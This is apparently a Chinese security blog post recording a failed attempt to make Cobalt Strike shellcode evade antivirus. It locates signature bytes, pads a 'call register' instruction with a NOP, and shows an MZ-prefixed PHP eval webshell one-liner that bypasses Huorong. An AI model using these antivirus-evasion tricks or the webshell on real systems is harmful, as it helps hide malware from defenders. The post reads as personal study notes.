WEB

WEB安全

漏洞复现

CTF

常用工具

实战

代码审计

Javaweb

后渗透

内网渗透

免杀

进程注入

权限提升

漏洞复现

靶机

vulnstack

vulnhub

Root-Me

编程语言

java

逆向

PE

逆向学习

HEVD

PWN

CTF

heap

Windows内核学习

其它

关于博客

面试

杂谈

记一次失败的shellcode免杀

偶然发现简单修改shellcode可以达到免杀

原项目: https://idiotc4t.com/defense-evasion/hex-execute

0x01 免杀测试

火绒,360,腾讯

只有火绒杀了,之后尝试了别的混淆方法,异或什么的也都会报,猜测和shellcode有关系,刚好学了点汇编,想看看shellcode是怎么样的

0x02 找特征码

直接将shellcode写入文件火绒是不会杀的,估计是因为没有PE文件的格式。

忽然想到以前尝试免杀的时候在最简单的一句话前面加个MZ就可以绕过火绒了

1
MZ<?php eval($_POST['pass']); ?>

估计火绒先检查文件头的,扯远了

写个简单的输出shellcode就行了,先用CS生成一个C语言的payload

1
2
3
4
5
6
7
#include<stdio.h>
int main()
{
unsigned char buf[] = ""; //shellcode
printf("%s", buf);
return 0;
}

这里先用Visual Stdio编译一下,因为devc++编译完后文件比较大不方便查找

火绒直接报毒,连名字都出来了

现在用myccl查找特征码,过程就不写了,具体可以看以前的文章

提示000013A0_00000002出现特征码,用C32Asm打开文件找到这个位置

右键->对应汇编模式编辑

可以看到被查出的特征码对应的汇编指令是call一个寄存器,这时候就要去网上找等价替换汇编指令

0x03 修改特征码

之前还看到call可以替换的..但是一下子找不到了..

然后想到可以通过nop把特征码挤下去,可以看到上面指令结尾是07,去payload里面搜索\x07\xff\xd5,nop的二进制是\x90

修改为\x07\x90\xff\xd5

已经不会被火绒查出来了

在原来的payload.c上面修改,然后去掉\x这些变成字符串

1
cat payload.c|sed 's/"//g'|sed 's/\\x//g'|sed 's/\n//g'|sed ':a;N;$!ba;s/\n//g'

再用上面文章的方法即可免杀火绒

0x04 总结

这方法写文章再测试的时候已经失效了,可能修改shellcode的方法太简单了,还是需要继续学习汇编,只能当作一个思路记录一下

就一直报代码混淆器,估计换一种混淆方法就行了

疑惑也变多了,一样的代码不同的编译器编出来的大小都不一样,Visual Stdio编译出来可以这种直接免杀,但是DevC++就吃瘪,C语言的基础太薄弱了,需要继续学习